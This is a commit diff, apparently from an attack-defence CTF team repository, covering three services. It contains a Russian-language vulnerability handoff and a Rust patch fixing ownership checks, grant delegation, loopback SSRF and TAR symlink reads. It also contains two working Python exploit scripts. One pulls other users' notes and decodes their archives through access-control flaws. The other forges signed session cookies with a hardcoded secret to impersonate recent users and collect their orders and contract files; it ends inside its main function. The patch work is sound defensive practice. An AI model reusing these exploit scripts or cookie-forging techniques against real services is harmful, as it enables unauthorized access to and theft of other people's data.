Compare commits

..
14 changed files with 839 additions and 449 deletions

No files matched your search

+50
View File
@@ -0,0 +1,50 @@
# GO CTF team archive and issued credentials
*.age
*.age.gz
openconnect.conf
vpn-ca.pem
vulnbox.txt
skipper-token.txt
players.tsv
vpn/
team001/
# Environment files and private keys
.env
.env.*
!.env.example
!.env.sample
*.key
*.p12
*.pfx
id_rsa*
id_ed25519*
# Runtime databases, volumes, dumps, logs and captures
*.db
*.db-*
*.sqlite
*.sqlite3
*.dump
*.log
*.pcap
*.pcapng
volumes/
logs/
/starpost/postgres/
# Decrypted/downloaded archives
*.zip
*.7z
*.rar
*.tar
*.tar.gz
*.tgz
# Local tooling and caches
__pycache__/
*.py[cod]
.venv/
venv/
.idea/
.vscode/
+26 -373
View File
@@ -1,58 +1,21 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
"""Задание Neo для greenhouse: вытягивает note и archive чужих участков без их ключа."""
from __future__ import annotations from __future__ import annotations
import ctypes
import hashlib import hashlib
import json import json
import mmap
import os
import platform
import re
import stat
import struct
import sys import sys
import time
from pathlib import Path
from urllib.error import HTTPError, URLError from urllib.error import HTTPError, URLError
from urllib.parse import quote, urlsplit, urlunsplit from urllib.parse import quote, urlsplit, urlunsplit
from urllib.request import Request, urlopen from urllib.request import Request, urlopen
TARGET_SCHEME = "http" TARGET_SCHEME = "http"
SERVICE_PORT = 8080 SERVICE_PORT = 8080
REQUEST_TIMEOUT = 1.25 REQUEST_TIMEOUT = 8
RUN_TIMEOUT = 8.5 USER_AGENT = "orbita-orangery/1.0"
HTTP_BUDGET = 3.0
PLOT_LIMIT = 12
SPECIMEN_LIMIT = 12
MAX_RESPONSE = 1 << 20
USER_AGENT = "orbita-orangery/1.1"
ANCHOR_ID = "public" ANCHOR_ID = "public"
ANCHOR_KEY = "visitor" ANCHOR_KEY = "visitor"
BAD_KEY = "0" * 32
CALIBRATION_VALUE = "greenhouse-calibration"
CONSOLE_SHA256 = "e56276dbd4ee50b3e40a090d5b55bd272e9803a2f6d4e9576defdaea8e0f1b51"
FRAME_SIZE = 0x90
FIRST_OFFSET = 0x4C80
FINAL_OFFSET = 0x4D00
NAME_OFFSET = 0x4DA0
FUNCTION_TABLE_OFFSET = 0x3E0B6A8
FUNCTION_COUNT = 160
FLAG_PATTERN = re.compile(r"[A-Z0-9]{31}=")
class Deadline:
def __init__(self, seconds: float | None = None, end: float | None = None):
self.end = end if end is not None else time.monotonic() + float(seconds)
def timeout(self) -> float:
remaining = self.end - time.monotonic()
if remaining <= 0:
raise TimeoutError("лимит времени исчерпан")
return min(REQUEST_TIMEOUT, max(0.05, remaining))
def child(self, seconds: float) -> Deadline:
return Deadline(end=min(self.end, time.monotonic() + seconds))
def base(target: str) -> str: def base(target: str) -> str:
@@ -86,23 +49,10 @@ def base(target: str) -> str:
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")) return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
def request_json(url: str, deadline: Deadline, payload: dict | None = None) -> dict: def fetch(url: str) -> dict:
headers = {"User-Agent": USER_AGENT, "Accept": "application/json"} request = Request(url, headers={"User-Agent": USER_AGENT, "Accept": "application/json"})
body = None with urlopen(request, timeout=REQUEST_TIMEOUT) as response:
method = "GET" return json.loads(response.read(1 << 20).decode("utf-8", errors="replace"))
if payload is not None:
body = json.dumps(payload, separators=(",", ":")).encode()
headers["Content-Type"] = "application/json"
method = "POST"
request = Request(url, data=body, headers=headers, method=method)
with urlopen(request, timeout=deadline.timeout()) as response:
raw = response.read(MAX_RESPONSE + 1)
if len(raw) > MAX_RESPONSE:
raise ValueError("ответ сервиса слишком большой")
data = json.loads(raw.decode("utf-8", errors="replace"))
if not isinstance(data, dict):
raise ValueError("ожидался JSON-объект")
return data
def keystream(plot_id: str, size: int) -> list[int]: def keystream(plot_id: str, size: int) -> list[int]:
@@ -121,352 +71,55 @@ def recover_archive(plot_id: str, samples: list[int]) -> str:
for value, offset in zip(samples, salt): for value, offset in zip(samples, salt):
if not isinstance(value, int) or not 0 <= value < 257: if not isinstance(value, int) or not 0 <= value < 257:
raise ValueError("неожиданный сэмпл спектра") raise ValueError("неожиданный сэмпл спектра")
byte = (value - previous - offset) % 257 raw.append((value - previous - offset) % 257)
if byte > 255:
raise ValueError("некорректный байт спектра")
raw.append(byte)
previous = value previous = value
return raw.decode("utf-8", errors="replace") return raw.decode("utf-8", errors="replace")
def recover_http(root: str, deadline: Deadline) -> list[str]: def run_exploit(target: str) -> list[str]:
root = base(target)
loot: list[str] = [] loot: list[str] = []
listing = request_json(f"{root}/api/plots", deadline)
plots = listing.get("plots", []) listing = fetch(f"{root}/api/plots")
if not isinstance(plots, list): plots = listing.get("plots", []) if isinstance(listing, dict) else []
raise ValueError("некорректный список участков") ids = [str(p.get("id")) for p in plots if isinstance(p, dict) and p.get("id") is not None]
targets = []
for item in plots: for plot_id in ids:
if not isinstance(item, dict) or not item.get("id"): if plot_id == ANCHOR_ID:
continue continue
plot_id = str(item["id"])
if plot_id != ANCHOR_ID:
targets.append((plot_id, item))
for plot_id, public in targets[:PLOT_LIMIT]:
for field in ("name", "cultivar"):
value = public.get(field)
if isinstance(value, str) and value:
loot.append(value)
denied = 0
target_param = quote(f"{ANCHOR_ID}#{plot_id}", safe="") target_param = quote(f"{ANCHOR_ID}#{plot_id}", safe="")
try: try:
data = request_json( data = fetch(f"{root}/api/projection?target={target_param}&key={ANCHOR_KEY}")
f"{root}/api/projection?target={target_param}&key={ANCHOR_KEY}", deadline note = data.get("projection", {}).get("biometric_note")
)
projection = data.get("projection")
note = projection.get("biometric_note") if isinstance(projection, dict) else None
if isinstance(note, str) and note: if isinstance(note, str) and note:
loot.append(note) loot.append(note)
except HTTPError as exc: except (HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
denied += exc.code == 403
if exc.code != 403:
print(f"projection {plot_id}: HTTP {exc.code}", file=sys.stderr)
except (URLError, TimeoutError, ValueError, OSError) as exc:
print(f"projection {plot_id}: {exc}", file=sys.stderr) print(f"projection {plot_id}: {exc}", file=sys.stderr)
try: try:
data = request_json(f"{root}/api/spectrum?plot={quote(plot_id, safe='')}", deadline) data = fetch(f"{root}/api/spectrum?plot={quote(plot_id, safe='')}")
samples = data.get("samples") samples = data.get("samples")
if isinstance(samples, list) and samples: if isinstance(samples, list) and samples:
loot.append(recover_archive(plot_id, samples)) loot.append(recover_archive(plot_id, samples))
except HTTPError as exc: except (HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
denied += exc.code == 403
if exc.code != 403:
print(f"spectrum {plot_id}: HTTP {exc.code}", file=sys.stderr)
except (URLError, TimeoutError, ValueError, OSError) as exc:
print(f"spectrum {plot_id}: {exc}", file=sys.stderr) print(f"spectrum {plot_id}: {exc}", file=sys.stderr)
try:
data = request_json(f"{root}/api/telemetry?plot={quote(plot_id, safe='')}", deadline)
telemetry = data.get("telemetry")
if isinstance(telemetry, list):
for row in telemetry:
if not isinstance(row, dict):
continue
for field in ("kind", "value"):
value = row.get(field)
if isinstance(value, str) and value:
loot.append(value)
except HTTPError as exc:
if exc.code != 403:
print(f"telemetry {plot_id}: HTTP {exc.code}", file=sys.stderr)
except (URLError, TimeoutError, ValueError, OSError) as exc:
print(f"telemetry {plot_id}: {exc}", file=sys.stderr)
if denied == 2:
break
return loot return loot
def binary_path() -> Path:
here = Path(__file__).resolve().parent
candidates = (
here / "native" / "greenhouse-console",
here / "greenhouse-console",
here.parent / "greenhouse" / "native" / "greenhouse-console",
)
for candidate in candidates:
if candidate.is_file():
return candidate
raise FileNotFoundError("рядом со сплоитом нет greenhouse-console")
def file_sha256(path: Path) -> str:
digest = hashlib.sha256()
with path.open("rb") as stream:
while chunk := stream.read(1 << 20):
digest.update(chunk)
return digest.hexdigest()
class CanaryEngine:
def __init__(self, path: Path):
if platform.machine().lower() not in {"x86_64", "amd64"}:
raise OSError("canary-движок требует x86-64")
if struct.calcsize("P") != 8 or sys.byteorder != "little":
raise OSError("canary-движок требует 64-битный little-endian Python")
if file_sha256(path) != CONSOLE_SHA256:
raise ValueError("неизвестная версия greenhouse-console")
with path.open("rb") as stream:
self.image = mmap.mmap(
stream.fileno(),
0,
flags=mmap.MAP_PRIVATE,
prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC,
)
self.address = ctypes.addressof(ctypes.c_char.from_buffer(self.image))
for index in range(FUNCTION_COUNT):
offset = FUNCTION_TABLE_OFFSET + index * 8
target = struct.unpack_from("<Q", self.image, offset)[0]
struct.pack_into("<Q", self.image, offset, self.address + target)
binary_function = ctypes.CFUNCTYPE(
ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64
)
ternary_function = ctypes.CFUNCTYPE(
ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64
)
name_function = ctypes.CFUNCTYPE(
ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_char_p
)
self.first = binary_function(self.address + FIRST_OFFSET)
self.final = ternary_function(self.address + FINAL_OFFSET)
self.name = name_function(self.address + NAME_OFFSET)
def close(self) -> None:
del self.first
del self.final
del self.name
self.image.close()
def recover_secret(self, specimen_id: int, frame: bytes) -> int:
if len(frame) != FRAME_SIZE or frame[40] != 1:
raise ValueError("калибровочный frame недействителен")
stored_id, stored_first = struct.unpack_from("<QQ", frame, 8)
if stored_id != specimen_id:
raise ValueError("идентификатор frame не совпал")
return stored_first ^ self.first(specimen_id, 0)
def forge(self, specimen_id: int, secret: int, magic: bytes) -> bytes:
name = f"specimen-{specimen_id}".encode()
if len(name) >= FRAME_SIZE - 41:
raise ValueError("слишком длинное имя specimen")
first = self.first(specimen_id, secret)
name_check = self.name(specimen_id, first, name)
final = self.final(specimen_id, name_check, secret)
frame = bytearray(FRAME_SIZE)
frame[:8] = magic
struct.pack_into("<QQQ", frame, 8, specimen_id, first, name_check)
struct.pack_into("<Q", frame, 32, final)
frame[40] = 1
frame[41:41 + len(name)] = name
return bytes(frame)
class Console:
def __init__(self, root: str, deadline: Deadline):
self.root = root
self.deadline = deadline
data = request_json(f"{root}/api/console/open", deadline, {})
session = data.get("session")
if not isinstance(session, str) or not re.fullmatch(r"[0-9a-f]{32}", session):
raise ValueError("консоль не выдала сеанс")
self.session = session
def command(self, command: str) -> str:
data = request_json(
f"{self.root}/api/console/command",
self.deadline,
{"session": self.session, "command": command},
)
reply = data.get("reply")
if not isinstance(reply, str):
raise ValueError("консоль не вернула строку")
return reply
def close(self) -> None:
try:
request_json(
f"{self.root}/api/console/close",
Deadline(seconds=0.4),
{"session": self.session},
)
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
pass
def cache_path(root: str) -> Path:
directory = Path("/tmp/greenhouse")
directory.mkdir(mode=0o700, parents=True, exist_ok=True)
os.chmod(directory, 0o700)
name = hashlib.sha256(root.encode()).hexdigest()[:24] + ".json"
return directory / name
def load_calibration(root: str) -> tuple[int, str] | None:
path = cache_path(root)
try:
info = path.lstat()
if not stat.S_ISREG(info.st_mode) or info.st_mode & 0o077:
return None
data = json.loads(path.read_text(encoding="utf-8"))
specimen_id = data.get("id")
key = data.get("key")
if isinstance(specimen_id, int) and specimen_id > 0 and isinstance(key, str):
if re.fullmatch(r"[0-9a-f]{32}", key):
return specimen_id, key
except (FileNotFoundError, OSError, ValueError, json.JSONDecodeError):
return None
return None
def save_calibration(root: str, specimen_id: int, key: str) -> None:
path = cache_path(root)
flags = os.O_WRONLY | os.O_CREAT | os.O_TRUNC
if hasattr(os, "O_NOFOLLOW"):
flags |= os.O_NOFOLLOW
descriptor = os.open(path, flags, 0o600)
try:
os.fchmod(descriptor, 0o600)
with os.fdopen(descriptor, "w", encoding="utf-8", closefd=False) as stream:
json.dump({"id": specimen_id, "key": key}, stream, separators=(",", ":"))
finally:
os.close(descriptor)
def parse_handle(reply: str) -> int | None:
match = re.fullmatch(r"FRAME ([0-9]+)", reply)
return int(match.group(1)) if match else None
def dump_authorized(console: Console, specimen_id: int, key: str) -> tuple[int, bytes] | None:
handle = parse_handle(console.command(f"OBSERVE {specimen_id} {key}"))
if handle is None:
return None
reply = console.command(f"DUMP {handle}")
match = re.fullmatch(r"FRAMEHEX ([0-9a-fA-F]{288})", reply)
if match:
return handle, bytes.fromhex(match.group(1))
try:
console.command(f"DROP {handle}")
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
pass
return None
def get_calibration(
console: Console, root: str, specimen_ids: list[int]
) -> tuple[int, int, bytes]:
cached = load_calibration(root)
if cached is not None and cached[0] in specimen_ids:
dumped = dump_authorized(console, *cached)
if dumped is not None:
return cached[0], dumped[0], dumped[1]
reply = console.command(f"SOW {CALIBRATION_VALUE}")
match = re.fullmatch(r"SOWN ([0-9]+) ([0-9a-f]{32})", reply)
if not match:
raise ValueError("SOW не вернул калибровочную запись")
specimen_id = int(match.group(1))
key = match.group(2)
save_calibration(root, specimen_id, key)
dumped = dump_authorized(console, specimen_id, key)
if dumped is None:
raise ValueError("не удалось получить калибровочный frame")
return specimen_id, dumped[0], dumped[1]
def recover_native(root: str, deadline: Deadline) -> list[str]:
console = Console(root, deadline)
try:
listing = console.command("LIST")
fields = listing.split()
if not fields or fields[0] != "PLOTS":
raise ValueError("LIST вернул неожиданный ответ")
specimen_ids = sorted(
{int(field) for field in fields[1:] if re.fullmatch(r"[0-9]+", field)},
reverse=True,
)
if not specimen_ids:
return []
engine = CanaryEngine(binary_path())
try:
calibration_id, calibration_handle, calibration_frame = get_calibration(
console, root, specimen_ids
)
secret = engine.recover_secret(calibration_id, calibration_frame)
console.command(f"DROP {calibration_handle}")
loot: list[str] = []
victims = [item for item in specimen_ids if item != calibration_id][:SPECIMEN_LIMIT]
for specimen_id in victims:
frame = engine.forge(specimen_id, secret, calibration_frame[:8])
handle = parse_handle(console.command(f"OBSERVE {specimen_id} {BAD_KEY}"))
if handle is None:
continue
if console.command(f"DROP {handle}") != "DROPPED":
continue
if not console.command(f"FILL {frame.hex()}").startswith("POLLEN "):
continue
reply = console.command(f"VIEW {handle}")
if reply == "ERR denied":
break
if reply.startswith("SPECIMEN "):
value = reply[len("SPECIMEN "):]
if value and value != CALIBRATION_VALUE:
loot.append(value)
return loot
finally:
engine.close()
finally:
console.close()
def run_exploit(target: str) -> list[str]:
root = base(target)
deadline = Deadline(seconds=RUN_TIMEOUT)
loot: list[str] = []
try:
loot.extend(recover_http(root, deadline.child(HTTP_BUDGET)))
except (HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"HTTP-канал: {exc}", file=sys.stderr)
try:
loot.extend(recover_native(root, deadline))
except (HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"console-канал: {exc}", file=sys.stderr)
flags = (flag for item in loot for flag in FLAG_PATTERN.findall(item))
return list(dict.fromkeys(flags))
def main() -> int: def main() -> int:
if len(sys.argv) != 2: if len(sys.argv) != 2:
print(f"Использование: {sys.argv[0]} HOST", file=sys.stderr) print(f"Использование: {sys.argv[0]} HOST", file=sys.stderr)
return 2 return 2
try: try:
loot = run_exploit(sys.argv[1]) loot = run_exploit(sys.argv[1])
except (ValueError, OSError) as exc: except (HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
print(f"Ошибка цели: {exc}", file=sys.stderr) print(f"Ошибка запроса к цели: {exc}", file=sys.stderr)
return 1 return 1
for item in loot: for item in loot:
print(item, flush=True) print(item, flush=True)
print(f"собрано флагов: {len(loot)}", file=sys.stderr) print(f"собрано строк: {len(loot)}", file=sys.stderr)
return 0 return 0
+37
View File
@@ -0,0 +1,37 @@
# Orbital Navigation — handoff
Дата анализа: 2026-10-25.
## Подтверждённые уязвимости до патча
Сервис принимает JSON-RPC через `POST /rpc`, бинарные пакеты через `PUT /packages/{id}` и отдаёт внутренние сводки через `GET /internal/summaries/{id}`. Локально на исходной версии с двумя синтетическими пользователями воспроизведены следующие пути чтения чужих данных:
- `bind_source` проверял только существование канонизированного `source`, но не владельца корабля. Другой пользователь мог передать регистровый алиас идентификатора чужого корабля и затем получить его сообщения через привязанный источник.
- `edit_profile` позволял владельцу профиля заменить `ship_id` на чужой корабль. Уже созданный экспортный job сохранял ссылку на профиль, а `run_export` не перепроверял владение текущим кораблём, поэтому после подмены профиля возвращал чужие сообщения.
- Ключ `geometry_cache` состоял только из `geometry`, `map_version` и `options`. Если другой пользователь первым создавал полёт с той же публичной тройкой параметров, отчёт по полёту мог взять его cached flight и раскрыть чужой manifest.
- `delegate` разрешал дочернему grant запрашивать права, отсутствующие у родительского grant, и не проверял фактическое истечение срока. Публичный grant с `delegate` можно было повысить до `manifest.read`; `read_manifest` также принимал просроченный grant.
- Внутренний маршрут `/internal/summaries/{id}` защищался только статическим importer key, который сам сервис добавлял при `import_bulletin`. Проверка URL отбрасывала лишь строковые `localhost`/`127.0.0.1`; loopback-алиас `127.1` разрешал SSRF и чтение чужой summary. Прямой запрос с известным ключом также не ограничивался loopback peer.
- После `approve_package` содержимое пакета можно было заменить через повторный `PUT`, не сбрасывая approval. `generate_report` распаковывал уже заменённый TAR без повторной безопасной проверки и разрешал canonical target внутри общего `navigation`, поэтому symlink-entry мог прочитать файл навигации другого пользователя.
Ожидаемые источники флагов до исправления: сообщения корабля, manifest полёта, content summary и файлы `navigation/{flight_id}.txt`. Для воспроизведения нужны только публичные маршруты сервиса, обычные учётные записи и идентификаторы объектов; реальные флаги, игровые токены и чужие адреса здесь не используются.
## Затронутый код до патча
Файл `src/lib.rs`: `cache_key`, `Server::new`, RPC-ветки `bind_source`, `edit_profile`, `run_export`, `delegate`, `read_manifest`, `generate_report`, HTTP-обработка `PUT /packages/{id}` и `GET /internal/summaries/{id}`, а также `fetch_bulletin`.
## Исправление
- Проверка владельца добавлена при привязке источника, смене корабля профиля и выполнении export job.
- В cache key добавлен владелец; при загрузке состояния кэш безопасно перестраивается для существующих полётов.
- Делегируемые права теперь обязаны быть подмножеством родительских; оба срока должны быть действующими, а дочерний срок не может превышать родительский. `read_manifest` проверяет expiry.
- Internal summary требует одновременно loopback peer и importer key. `fetch_bulletin` запрещает любой адрес, который после DNS-разрешения является loopback, включая каждый redirect.
- Любая повторная загрузка package сбрасывает approval. Перед распаковкой пакет снова проходит `validate_safe_tar`, а attachment обязан оставаться внутри индивидуального work-каталога.
## Проверки
- Docker image успешно собран командой `docker compose -f compose.yml build`.
- На исходной версии все шесть классов проблем воспроизведены с синтетическими данными; second-order export дополнительно проверен отдельной последовательностью HTTP-запросов и после перезапуска контейнера.
- На исправленной версии прошли 12 runtime-сценариев: штатные source/export/summary/package flows, запрет cross-user source/profile/cache, запрет повышения/просрочки grant, разрешённое subset-delegation, блокировка прямого internal endpoint и loopback-alias SSRF, блокировка замены одобренного TAR.
- `git diff --check` проходит.
Ограничения: исходный проект не содержит автоматических тестов или checker; официальный Skipper/checker и сохранность реальных данных на vulnbox не проверялись. Патч не развёртывался и не отправлялся в Gitea.
+51 -15
View File
@@ -7,7 +7,7 @@ use std::net::{TcpListener, TcpStream, ToSocketAddrs};
use std::path::{Component, Path, PathBuf}; use std::path::{Component, Path, PathBuf};
use std::sync::{Arc, Mutex}; use std::sync::{Arc, Mutex};
use std::thread; use std::thread;
use std::time::Duration; use std::time::{Duration, SystemTime, UNIX_EPOCH};
type Answer = Result<Value, String>; type Answer = Result<Value, String>;
type Headers = HashMap<String, String>; type Headers = HashMap<String, String>;
@@ -130,7 +130,17 @@ fn canonical(s: &str) -> String {
} }
fn cache_key(f: &Flight) -> String { fn cache_key(f: &Flight) -> String {
format!("{}\0{}\0{}", f.geometry, f.map_version, f.options) format!(
"{}\0{}\0{}\0{}",
f.owner, f.geometry, f.map_version, f.options
)
}
fn unix_time() -> u64 {
SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap_or_default()
.as_secs()
} }
const STATE_FILE: &str = "state.json"; const STATE_FILE: &str = "state.json";
@@ -208,7 +218,22 @@ impl Server {
fs::create_dir_all(root.join("work"))?; fs::create_dir_all(root.join("work"))?;
let state = load_state(&root)?; let mut state = load_state(&root)?;
let old_cache = std::mem::take(&mut state.geometry_cache);
for flight_id in old_cache.values() {
if let Some(flight) = state.flights.get(flight_id) {
state
.geometry_cache
.entry(cache_key(flight))
.or_insert_with(|| flight_id.clone());
}
}
for (flight_id, flight) in &state.flights {
state
.geometry_cache
.entry(cache_key(flight))
.or_insert_with(|| flight_id.clone());
}
cleanup_storage(&root, &state)?; cleanup_storage(&root, &state)?;
Ok(Self { Ok(Self {
@@ -287,9 +312,8 @@ impl Server {
if s.sources.contains_key(&source) { if s.sources.contains_key(&source) {
return Err("source exists".into()); return Err("source exists".into());
} }
if !s.ships.contains_key(&canonical(&source)) { let ship = canonical(&source);
return Err("unknown ship".into()); check_owner(s.ships.get(&ship).ok_or("unknown ship")?, &user)?;
}
s.sources.insert(source, user); s.sources.insert(source, user);
Ok(json!({"ok":true})) Ok(json!({"ok":true}))
} }
@@ -336,9 +360,7 @@ impl Server {
let ship = owned(&v, "ship_id")?; let ship = owned(&v, "ship_id")?;
let mut s = self.state.lock().unwrap(); let mut s = self.state.lock().unwrap();
if !s.ships.contains_key(&ship) { check_owner(s.ships.get(&ship).ok_or("unknown ship")?, &user)?;
return Err("unknown ship".into());
}
let p = s.profiles.get_mut(id).ok_or("unknown profile")?; let p = s.profiles.get_mut(id).ok_or("unknown profile")?;
check_owner(&p.owner, &user)?; check_owner(&p.owner, &user)?;
p.ship = ship; p.ship = ship;
@@ -361,6 +383,7 @@ impl Server {
.ok_or("unknown profile")? .ok_or("unknown profile")?
.ship .ship
.clone(); .clone();
check_owner(s.ships.get(&ship).ok_or("unknown ship")?, &user)?;
let result = s.messages.get(&ship).cloned().unwrap_or_default(); let result = s.messages.get(&ship).cloned().unwrap_or_default();
@@ -482,7 +505,13 @@ impl Server {
if p.subject != "public" && p.subject != user { if p.subject != "public" && p.subject != user {
return Err("forbidden".into()); return Err("forbidden".into());
} }
if !p.rights.iter().any(|x| x == "delegate") || expires > p.expires { let now = unix_time();
if !p.rights.iter().any(|x| x == "delegate")
|| p.expires < now
|| expires < now
|| expires > p.expires
|| !rights.iter().all(|right| p.rights.contains(right))
{
return Err("invalid delegation".into()); return Err("invalid delegation".into());
} }
let flight = p.flight.clone(); let flight = p.flight.clone();
@@ -514,6 +543,7 @@ impl Server {
if !(g.flight == flight if !(g.flight == flight
&& g.subject == user && g.subject == user
&& g.expires >= unix_time()
&& g.rights.iter().any(|x| x == "manifest.read")) && g.rights.iter().any(|x| x == "manifest.read"))
{ {
return Err("forbidden".into()); return Err("forbidden".into());
@@ -656,15 +686,14 @@ impl Server {
fs::create_dir_all(&dir).map_err(|e| e.to_string())?; fs::create_dir_all(&dir).map_err(|e| e.to_string())?;
let report = (|| { let report = (|| {
validate_safe_tar(&bytes)?;
unpack_tar(&bytes, &dir)?; unpack_tar(&bytes, &dir)?;
let target = fs::canonicalize(dir.join(attachment)) let target = fs::canonicalize(dir.join(attachment))
.map_err(|e| format!("resolve report attachment: {e}"))?; .map_err(|e| format!("resolve report attachment: {e}"))?;
let work_root = fs::canonicalize(&dir) let work_root = fs::canonicalize(&dir)
.map_err(|e| format!("resolve report workspace: {e}"))?; .map_err(|e| format!("resolve report workspace: {e}"))?;
let navigation_root = fs::canonicalize(self.root.join("navigation")) if !target.starts_with(&work_root) {
.map_err(|e| format!("resolve navigation workspace: {e}"))?;
if !target.starts_with(&work_root) && !target.starts_with(&navigation_root) {
return Err("report attachment resolves outside allowed storage".into()); return Err("report attachment resolves outside allowed storage".into());
} }
@@ -694,6 +723,7 @@ impl Server {
} }
fn handle(&self, mut stream: TcpStream) -> std::io::Result<()> { fn handle(&self, mut stream: TcpStream) -> std::io::Result<()> {
let peer = stream.peer_addr()?;
stream.set_read_timeout(Some(Duration::from_secs(5)))?; stream.set_read_timeout(Some(Duration::from_secs(5)))?;
let (method, path, headers, body) = read_request(&mut stream)?; let (method, path, headers, body) = read_request(&mut stream)?;
let result: Result<(u16, Vec<u8>), String> = if method == "POST" && path == "/rpc" { let result: Result<(u16, Vec<u8>), String> = if method == "POST" && path == "/rpc" {
@@ -727,6 +757,7 @@ impl Server {
let p = s.packages.get_mut(id).ok_or("unknown package")?; let p = s.packages.get_mut(id).ok_or("unknown package")?;
check_owner(&p.owner, &u)?; check_owner(&p.owner, &u)?;
p.bytes = body; p.bytes = body;
p.approved = false;
Ok(()) Ok(())
}) })
}; };
@@ -747,7 +778,9 @@ impl Server {
} else if method == "GET" && path.starts_with("/internal/summaries/") { } else if method == "GET" && path.starts_with("/internal/summaries/") {
let id = path.trim_start_matches("/internal/summaries/"); let id = path.trim_start_matches("/internal/summaries/");
if headers.get("x-importer-key").map(String::as_str) != Some(&self.importer_key) { if !peer.ip().is_loopback()
|| headers.get("x-importer-key").map(String::as_str) != Some(&self.importer_key)
{
Ok((403, b"forbidden".to_vec())) Ok((403, b"forbidden".to_vec()))
} else { } else {
let s = self.state.lock().unwrap(); let s = self.state.lock().unwrap();
@@ -786,6 +819,9 @@ impl Server {
.map_err(|e| format!("resolve {host}:{port}: {e}"))? .map_err(|e| format!("resolve {host}:{port}: {e}"))?
.next() .next()
.ok_or("no address")?; .ok_or("no address")?;
if addr.ip().is_loopback() {
return Err("internal source forbidden".into());
}
let mut stream = TcpStream::connect_timeout(&addr, Duration::from_secs(2)) let mut stream = TcpStream::connect_timeout(&addr, Duration::from_secs(2))
.map_err(|e| format!("connect {addr}: {e}"))?; .map_err(|e| format!("connect {addr}: {e}"))?;
@@ -1047,4 +1083,4 @@ fn read_request(stream: &mut TcpStream) -> std::io::Result<HttpRequest> {
} }
Ok((method, path, headers, data[start..start + len].to_vec())) Ok((method, path, headers, data[start..start + len].to_vec()))
} }
+153
View File
@@ -0,0 +1,153 @@
#!/usr/bin/env python3
from __future__ import annotations
import base64
import concurrent.futures
import hashlib
import hmac
import json
import secrets
import sys
import time
from urllib.error import HTTPError, URLError
from urllib.parse import quote, urlsplit, urlunsplit
from urllib.request import HTTPRedirectHandler, Request, build_opener
TARGET_SCHEME = "http"
SERVICE_PORT = 8090
REQUEST_TIMEOUT = 2.0
MAX_RESPONSE = 128 * 1024
RECENT_USER_WINDOW = 32
MAX_WORKERS = 8
SESSION_SECRET = "starpost-development-session-key-change-before-production"
class NoRedirects(HTTPRedirectHandler):
def redirect_request(self, req, fp, code, msg, headers, newurl):
return None
def build_base_url(target: str) -> str:
raw = target.strip()
if not raw:
raise ValueError("empty target")
if "://" not in raw:
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
raw = f"{TARGET_SCHEME}://{authority}"
parsed = urlsplit(raw)
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
raise ValueError("expected an HTTP target")
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
raise ValueError("target must not include credentials or a path")
if parsed.query or parsed.fragment:
raise ValueError("target must not include query or fragment")
port = parsed.port or (443 if parsed.scheme == "https" else SERVICE_PORT)
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
def b64(data: bytes) -> bytes:
return base64.urlsafe_b64encode(data).rstrip(b"=")
def forge_session(user_id: int, role: str) -> str:
payload = json.dumps(
{"user_id": user_id, "username": "synthetic", "role": role},
separators=(",", ":"),
).encode()
timestamp = int(time.time())
timestamp_bytes = timestamp.to_bytes(max(1, (timestamp.bit_length() + 7) // 8), "big")
value = b64(payload) + b"." + b64(timestamp_bytes)
derived = hmac.new(SESSION_SECRET.encode(), b"cookie-session", hashlib.sha1).digest()
signature = hmac.new(derived, value, hashlib.sha1).digest()
return (value + b"." + b64(signature)).decode()
def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None):
body = json.dumps(payload).encode() if payload is not None else None
headers = {"User-Agent": "starpost-session/1.0", "Accept": "application/json"}
if body is not None:
headers["Content-Type"] = "application/json"
if cookie:
headers["Cookie"] = f"session={cookie}"
req = Request(base + path, data=body, headers=headers, method=method)
opener = build_opener(NoRedirects())
try:
with opener.open(req, timeout=REQUEST_TIMEOUT) as response:
data = response.read(MAX_RESPONSE + 1)
if len(data) > MAX_RESPONSE:
raise ValueError("response too large")
return response.status, data
except HTTPError as exc:
return exc.code, exc.read(MAX_RESPONSE)
def register_probe(base: str) -> int:
marker = secrets.token_hex(8)
status, raw = request(
base,
"/api/register",
method="POST",
payload={"username": f"probe-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
)
if status != 201:
raise ValueError(f"registration returned HTTP {status}")
return int(json.loads(raw)["id"])
def collect_identity(base: str, user_id: int) -> list[bytes]:
probe_cookie = forge_session(user_id, "seller")
status, raw = request(base, "/api/me", cookie=probe_cookie)
if status != 200:
return []
try:
identity = json.loads(raw)
except (TypeError, ValueError):
return []
if not isinstance(identity, dict) or identity.get("role") not in {"buyer", "seller"}:
return []
role = identity["role"]
cookie = forge_session(user_id, role)
paths = ["/api/orders"] if role == "buyer" else [
"/api/seller/products",
"/api/seller/reviews?limit=100",
]
contract_file = identity.get("contract_file")
if role == "seller" and isinstance(contract_file, str) and contract_file:
paths.append("/api/contract?file=" + quote(contract_file, safe=""))
output = []
for path in paths:
status, data = request(base, path, cookie=cookie)
if status == 200 and data:
output.append(data)
return output
def run_exploit(target: str) -> str:
base = build_base_url(target)
newest = register_probe(base)
user_ids = range(max(1, newest - RECENT_USER_WINDOW), newest)
chunks: list[bytes] = []
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
for result in pool.map(lambda uid: collect_identity(base, uid), user_ids):
chunks.extend(result)
print(f"checked {RECENT_USER_WINDOW} recent identities", file=sys.stderr)
